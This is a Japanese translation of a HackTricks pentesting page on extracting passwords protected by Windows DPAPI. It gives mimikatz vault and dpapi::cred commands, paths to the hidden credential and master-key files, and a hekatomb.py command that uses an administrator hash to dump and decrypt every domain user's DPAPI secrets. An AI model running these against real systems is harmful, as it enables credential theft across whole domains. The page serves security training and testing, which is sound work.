hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md

10 KiB
Raw Blame History

DPAPI - パスワードの抽出

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}

RootedCONは、スペインで最も重要なサイバーセキュリティイベントであり、ヨーロッパで最も重要なイベントの一つです。技術知識の促進を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。

{% embed url="https://www.rootedcon.com/" %}

DPAPIとは

データ保護APIDPAPIは、主にWindowsオペレーティングシステム内で非対称プライベートキーの対称暗号化に利用され、ユーザーまたはシステムの秘密を重要なエントロピーのソースとして活用します。このアプローチは、開発者がユーザーのログオン秘密から派生したキーを使用してデータを暗号化できるようにすることで、暗号化を簡素化します。また、システム暗号化の場合は、システムのドメイン認証秘密を使用し、開発者が暗号化キーの保護を自ら管理する必要を排除します。

DPAPIによって保護されるデータ

DPAPIによって保護される個人データには以下が含まれます

  • Internet ExplorerおよびGoogle Chromeのパスワードと自動補完データ
  • OutlookやWindows Mailなどのアプリケーションの電子メールおよび内部FTPアカウントのパスワード
  • 共有フォルダー、リソース、無線ネットワーク、Windows Vaultのパスワード暗号化キーを含む
  • リモートデスクトップ接続、.NET Passport、およびさまざまな暗号化および認証目的のプライベートキーのパスワード
  • Credential Managerによって管理されるネットワークパスワードおよびCryptProtectDataを使用するアプリケーション内の個人データSkype、MSNメッセンジャーなど

リストボールト

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Credential Files

保護された資格情報ファイルは、次の場所にあります:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

mimikatzを使用して資格情報情報を取得するには dpapi::cred を使用します。レスポンスには、暗号化されたデータや guidMasterKey などの興味深い情報が含まれています。

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

あなたは適切な /masterkey を使用して mimikatz module dpapi::cred を使って復号化することができます:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

マスターキー

ユーザーのRSAキーを暗号化するために使用されるDPAPIキーは、%APPDATA%\Microsoft\Protect\{SID}ディレクトリに保存されており、ここで{SID}はそのユーザーのセキュリティ識別子です。DPAPIキーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに保存されています。通常、これは64バイトのランダムデータです。このディレクトリは保護されているため、cmdからdirを使用してリストすることはできませんが、PSからリストすることはできます

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

これはユーザーのマスタキーの一部の見た目です:

通常、各マスタキーは他のコンテンツを復号化できる暗号化された対称鍵です。したがって、暗号化されたマスタキーを抽出することは、後でそれを使用して暗号化された他のコンテンツを復号化するために興味深いです

マスタキーを抽出して復号化する

マスタキーを抽出して復号化する方法の例については、https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++を確認してください。

SharpDPAPI

SharpDPAPIは、@gentilkiwiMimikatzプロジェクトからのDPAPI機能のC#ポートです。

HEKATOMB

HEKATOMBは、LDAPディレクトリからすべてのユーザーとコンピュータを抽出し、RPCを通じてドメインコントローラのバックアップキーを抽出するツールです。スクリプトはすべてのコンピュータのIPアドレスを解決し、すべてのコンピュータでsmbclientを実行して、すべてのユーザーのDPAPIブロブを取得し、ドメインバックアップキーで全てを復号化します。

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAPから抽出したコンピュータのリストを使用すると、知らなかったサブネットワークも見つけることができます

「ドメイン管理者権限だけでは不十分です。すべてをハックしましょう。」

DonPAPI

DonPAPIは、DPAPIによって保護された秘密を自動的にダンプできます。

参考文献

RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパで最も重要なイベントの一つです。技術的知識を促進することを使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い集まりです。

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}